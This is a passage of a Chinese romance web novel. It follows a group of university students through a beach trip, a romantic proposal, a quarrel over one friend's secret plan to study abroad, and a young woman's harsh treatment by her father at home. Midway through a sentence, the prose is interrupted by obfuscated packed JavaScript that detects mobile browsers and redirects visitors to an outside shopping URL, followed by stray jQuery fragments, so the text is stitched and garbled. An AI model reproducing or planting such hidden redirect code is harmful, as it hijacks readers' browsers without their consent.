“私人营养师也是有条件的，你说是吧，韩卓。”卓明月看似回答她，其实目光落在韩卓身上。
韩卓松开手，卓明月把他面前的冰柠檬水换到自己面前，把自己的杯子换到他面前，倒上温开水。
聚餐结束后，闻研喝多了，嚷嚷着要卓明月送她回去，卓明月被他赖得没辙，只要先走了。
韩卓一个人走在路上，孙楚芮追了上来。
“你跟卓明月怎么回事，搞得有眼睛有嘴的。”
“普通朋友。”韩卓心情不大好，声音也淡淡的。
孙楚芮给他看了一张照片，小树林里卓明月从后抱住他的照片。
韩卓皱眉：“你怎么会有这张照片的？”
“那天我下课，就……”孙楚芮明明是有证据的一方，被他看得紧张，“你别这样看我，我没和佳丽说。不过，你是不是该和我说一下。”
她觉得韩卓不是那种会移情别恋的人。
“这是个误会。”韩卓冷道。
“是误会就更好办了呀。”孙楚芮跑到他跟前，“你给我说实话。”
韩卓站停：“能不能给我点隐私空间。”
“喂，我是在拯救你俩的感情！”
韩卓走出去老远，孙楚芮在他身后大喊。
回到宿舍，韩卓收到了孙楚芮的消息，又是那张照片。
真是阴魂不散。
韩卓发了一个留学资料给她。
奇迹：听说上次你在群里要这个？
Rayeee：你怎么会有这个？而且你怎么只发了一半。
奇迹：你得先保证保密，也不再追问这件事。
Rayeee：你在威胁我。
韩卓没继续回她，反倒晾了她一会儿，孙楚芮果然又发消息了。
Rayeee：行，我答应你，你把另一半资料也给我。
奇迹：行，如果你反悔，我也会告诉李家乐。
Rayeee：都是朋友，真要做这么绝吗？
韩卓没继续聊天了，卓明月给他发了消息，他把对方设置为免打扰。他本就性子淡漠，不必要的人，都可以不去理睬。
他拿起手机去浴室洗澡，用手机扫码解锁热水。韩卓脱了衣服，准备放水洗澡时，邮箱里发来了体检报告。
.
期末周结束了，姚佳丽迎来大学的第一个寒假。她和韩卓、孙楚芮、李家乐四个人约好一起去珍珠滩旅游，本想着下了高铁先去海边走一圈，没想到四个人累得直奔民宿。
姚佳丽一睡就睡到了晚上，再醒来时，韩卓已不在身边了。
手机躺着一条消息，孙楚芮喊她去露天阳台。民宿一共三层，她披着外套，踩着拖鞋就出门了。
走廊黑漆漆的，没人开灯，她也找不到开关，索性打开手机的灯，摸索着，走到天台。
她推开门，一片漆黑，根本看不清人，但是周围有些窸窸窣窣的笑声。
一瞬间，灯光亮起，李家乐扭开礼炮，漫天的彩带飘下。孙楚芮看她呆在原地，牵起她的手，带她往前走。
地上铺了红毯，四周是铺满了霓虹的灯带，这些灯带指向一个方向。
韩卓站在红毯尽头，天那么冷，他居然就只穿一件黑色西装。
姚佳丽隐隐知道他要做什么，她走到他面前，韩卓从孙楚芮的手中接过她的手。
他单膝跪地。
风吹开韩卓额前碎发，他凝望着她，真挚又诚恳，这一幕似曾相识，与那日他们轧马路的场景一致。
只不过现在更加隆重。
“这段时间的相处，你对我的表现打几分呢？”韩卓开口问她。
姚佳丽身体有些腾空感，心里飘过说不清的东西，酸酸的：“一半。一半留给过去，另外一半，等你未来实践。”
韩卓被她逗笑：“你现在就和我签订未来的契约了？”
姚佳丽声音发颤：“怎么，你不敢吗？”
韩卓停顿了几秒才说：“我当然敢。那么，你愿意做我的女朋友了吗？”
“很早不就是了吗？”
“那天太草率了，算不了数。”
姚佳丽被她逗笑，韩卓站起来抱住她。孙楚芮在旁边负责录制视频，李家乐负责切换场地音乐，一切都安排得有条不紊。
韩卓用鼻尖碰了碰姚佳丽的。
“你俩不打算亲一个吗？”李家乐起哄说。
他跑过去准备播放很早剪辑好的视频素材，心情太激动，手一快，点错了文件夹。他的脸色变了变，为了不让别人发现他的异样，装作情绪稳定，重新播放韩卓很早剪辑好的视频。
珍珠滩会在每个晴朗的夜晚，燃放烟花。天空倏然炸开一朵接着一朵的烟火，李家乐走到孙楚芮身边，头一回，这么主动地牵住她的手。
珍珠滩到了晚上还是很多人，四个人趁夜色来到海边，在店里买了些冷光烟花，拿在手上。
那天晚上，他们追逐打闹，肆意奔跑，一个一个朝大海许愿，许愿永远在一起，许愿年年岁岁。
可命运已然敲响警钟，这是他们四个人最后一次相聚。
凌晨，姚佳丽回到房间，韩卓迫不及待将她抵到墙上，鼻尖摩擦着她的额头，两人气息交缠，难舍难分。
她伸手一颗一颗解开韩卓的衬衫扣子，被放倒在床上，关上灯，空气里只有两人的声音。
本以为事情可以顺利进行下去，隔壁传来激烈的吵架声。
如果是别人可以不用管，偏偏是李家乐和孙楚芮在吵架。
姚佳丽穿上衣服，走到他们的房间，床上摆着一个笔电，衣服被子推到地上，门口还有玻璃碎片，一地狼藉。
李家乐双眼通红，他用手抵着前额，落寞地坐到墙角。孙楚芮在对他对面，贴着墙壁，脸上全是眼泪。
“发生……什么了。”姚佳丽很小心地问。
“你去问他！”李家乐的情绪很激动。
这是韩卓过来了，他扣着手腕的扣子，看到这个场景，眸色暗了暗，想到了什么。
孙楚芮看他过来，声音飘忽：“你看，他还是知道了。”
李家乐和姚佳丽一起看向韩卓，李家乐立马扑过来，抓住他的衬衫领子，将他推到墙角。
“你他妈知道什么！你是不是很早就知道她要出国了！！！你为什么要给她出国资料！！！”
出国？
姚佳丽不可思议地盯着韩卓。
“芮芮为什么要出国？”她试探地问。
孙楚芮从房间里走出来，她抽泣着：“是，我是骗了你们所有人，我当初报名创新创业大赛，就是为了拿出国的积分，行了吧！”
H大每年都会和国外知名大学合作，每个学生挤破头都想拿到这个免费的名额，但僧多粥少，他们不仅要比平时综合绩点，更要看有没有大赛加分。
创新创业大赛是加分最多的那个比赛。
原本安排好的行程全被打乱，孙楚芮和李家乐自从那天晚上就陷入了冷战，姚佳丽和韩卓因为这件事情也开始有了一条暗暗的隔阂。
不是说永远不欺骗的吗。
怎么这么快就……
姚佳丽翻了个身，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682409|205450||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从韩卓的怀里出来，背向他入睡。
眼泪不自觉地流了下来，落在枕头上，明明冷战的不是他们，为什么她的心也很疼。
明明说不欺骗的是他，为什么最后说谎的也是他。
韩卓会不会也要出国了，她不敢想下去了。
她装成没有心事的样子，和他在珍珠滩玩了三天，领略当地的风土人情，最后一天，韩卓把她送上回家的高铁。
他亲了亲她的额头，又摸了摸她的头发。
姚佳丽又要回到那个阴暗的家了。
姚复明还没下班，姚景去参加课外培训了也还没回家，就黎青玉一个人，在厨房忙前忙后。
客厅里多了一个小鱼缸，里面游动着几尾金鱼，倒让她想到了跟韩卓一起买的金鱼。
放假前，好像忘记给金鱼喂食了，希望它们不要死啊。
姚佳丽捏了捏拳心，自己怎么能这么马虎。
黎青玉看她杵在原地，嚷嚷：“站在那干什么，快过来帮我端菜，你爸和你弟弟都要回来了。”
姚佳丽应下，帮忙把菜端到客厅的饭桌上。
约莫过了半小时，姚复明回来了，他扯下领带扔到沙发上，看到姚佳丽打了个招呼。
“佳丽回来了？学习怎么样，功课都能跟得上吗？”
姚佳丽点点头，姚景却在一旁吹风，那口恶气，他憋了两个月，终于可以出了。
“爸，你还不知道吧，姐姐现在有男朋友了，学习肯定更好了吧。”他声音阴阳怪气的。
“什么？你谈恋爱了？你才二十岁你谈什么恋爱？”
姚复明把筷子拍到桌上，“他是哪里人？爸妈都是干什么的？有没有积蓄？学习怎么样？”
姚佳丽摇了摇头，反驳：“我们只是谈恋爱，又不是结婚。”
“天真！”姚复明怒目圆瞪，“谈恋爱只会耽误学习，你必须跟他分手！”
“爸！我已经成年了，我可以自己做决定！”姚佳丽也没心思吃饭了，她的嗓子眼堵得慌。姚景一脸得逞，看热闹不嫌事大。
姚复明拿来鸡毛掸子，这是姚家的家法。不听话活该被打。
姚佳丽伸出手，姚复明在她掌心打了五下，她硬是一声没坑，收回手时，痛得已经没知觉了。
她把自己关到卧室，这个卧室是姚景原来的房间，里面放着一些不知道有没有过期的小面包。
姚佳丽正好没吃晚饭，就拆了一个面包塞进嘴里。
面包一点也不甜，它好酸好苦，嘴巴里热热的，姚佳丽的眼泪一滴一滴往下在掉。
有没有办法能快点离开这个地方啊。
有没有人能来救救她啊。
有没有办法能快点长大啊。
韩卓欺骗她，姚复明的窒息教育，姚景的憎恨，每一件事情像砖头闷在她心里，怎么也排解不了。
她要怎么和人诉说。
小时候她每次做错事，姚复明就会用鸡毛掸子打她。
甚至有一回，学校要求定新的校服，黎青玉不肯给她钱，姚佳丽偷偷拿了她的压岁钱，却被黎青玉说成偷钱，姚复明听说后，不仅拿鸡毛掸子打她，还把她关在门外。任凭她怎么敲门，怎么哭，怎么呐喊，都没人给她开门。
棍棒底下出孝子，这是姚复明的信条，却也成为姚佳丽这一生抹不去的阴影。
她觉得自己有病，不肯把心里的事情说出去，就跟她现在一直往嘴里塞面包一样。
没有水，也不管面包的生产日期、不管面包的滋味，只是往嘴里塞，往心里塞，妄图填满空落落的内心。